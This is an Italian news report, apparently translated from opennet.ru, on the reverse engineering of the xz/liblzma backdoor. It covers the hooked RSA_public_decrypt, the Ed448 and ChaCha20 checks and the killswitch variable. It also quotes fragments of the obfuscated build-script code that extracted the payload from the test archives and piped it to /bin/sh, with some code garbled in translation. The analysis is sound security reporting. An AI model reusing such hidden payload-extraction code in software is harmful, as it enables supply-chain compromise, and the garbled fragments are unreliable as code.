Sono disponibili risultati preliminari del reverse engineering di un file oggetto dannoso incorporato in liblzma come risultato di una campagna per inserire una backdoor nel pacchetto xz. La backdoor colpisce solo i sistemi x86_64 basati sul kernel Linux e sulla libreria Glibc C, in cui viene applicata una patch aggiuntiva a sshd che si collega alla libreria libsystemd per supportare il meccanismo sd_notify. Inizialmente si presumeva che la backdoor potesse bypassare l’autenticazione sshd e ottenere l’accesso al sistema tramite SSH. Un'analisi più approfondita ha dimostrato che non è così e che la backdoor offre la possibilità di eseguire codice arbitrario sul sistema senza lasciare tracce nei log sshd.
In particolare, la funzione RSA_public_decrypt intercettata dalla backdoor verifica la firma dell'host utilizzando la chiave fissa Ed448 e, se verificata con successo, esegue il codice trasmesso dall'host esterno utilizzando la funzione system() nella fase precedente al processo sshd che reimposta i privilegi. Il dato contenente il codice di esecuzione viene estratto dal parametro “N” passato alla funzione RSA_public_decrypt (il campo “n” della struttura rsa_st contenente la chiave pubblica trasmessa dall'host esterno), verificato dal checksum e decrittografato utilizzando la chiave predefinita ChaCha20 in fase di pre-verifica firma digitale Ed448.
Come segno per l'attivazione di una backdoor in sshd, viene utilizzato il meccanismo di scambio delle chiavi host standard. La backdoor sfrutta il fatto che i certificati OpenSSH includono la chiave pubblica della persona che ha generato la firma, e risponde solo alla chiave preparata dall'aggressore e corrispondente alla chiave fissa predefinita Ed448. Se la verifica della firma della chiave pubblica fallisce o se l'integrità dei dati di esecuzione non viene confermata, la backdoor restituisce il controllo alle funzioni SSH standard.
Poiché la chiave privata dell'aggressore è sconosciuta, è impossibile implementare un codice di verifica che consenta agli estranei di attivare la backdoor e implementare uno scanner per gli host compromessi sulla rete. I ricercatori hanno preparato uno script che dimostra la tecnica di sostituzione di una chiave pubblica con contenuto arbitrario in un certificato OpenSSH trasmesso da un client SSH, che verrà elaborato nella funzione RSA_public_decrypt intercettata dalla backdoor.
I ricercatori hanno notato anche la presenza di una struttura che neutralizza la backdoor (killswitch) sul sistema locale se la variabile d'ambiente “yolAbejyiejuvnup=Evjtgvsh5okmkAvj” viene impostata prima di avviare sshd.
Inoltre, possiamo notare un'analisi dettagliata dei costrutti della shell utilizzati per confondere il processo di estrazione di un file oggetto con una backdoor e la sua sostituzione nella libreria liblzma. Durante l'assemblaggio del pacchetto xz, è stato lanciato un codice dallo script build-to-host.m4 che ha trovato l'archivio bad-3-corrupt_lzma2.xz tra i file di test, ha sostituito alcuni caratteri in esso, trasformandolo in un archivio intatto e ne ho estratto lo script di shell. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` … gl_[$1]_config='sed \»r\ n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_path_map='tr "\t \-_" » \t_\-«'
Lo script di shell risultante, pezzo per pezzo, ha estratto un altro script di shell dal contenuto dell'archivio good-large_compressed.lzma, saltando alcune sequenze con i comandi head e tail e sostituendo i caratteri con il comando tr. ####Ciao#### # alcuni byte binari qui, ma poiché è un commento vengono ignorati [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Mondo####
Di conseguenza, è stato generato uno script di shell piuttosto complesso e voluminoso che ha estratto direttamente il file con la backdoor dall'archivio good-large_compressed.lzma, lo ha decrittografato e lo ha incorporato in liblzma. Tra le altre cose, lo script conteneva un'implementazione del meccanismo del plugin, che consente la successiva consegna di componenti eseguibili aggiuntivi attraverso il posizionamento di nuovi archivi di test, senza modificare good-large_compressed.lzma e bad-3-corrupt_lzma2.xz, ma utilizzando un ricerca della firma. Il codice includeva anche un decryptor basato sull'algoritmo RC4, implementato nel linguaggio AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed “s/\(.\)/\1\n/g” | LC_ALL=C awk 'BEGIN{FS=»\n»;RS=»\n»;ORS=»»;m=256;for(i=0;i /dev/null 7>&5) && head -c +$W) > liblzma_la-crc0-fast.o || VERO
Fonte: opennet.ru
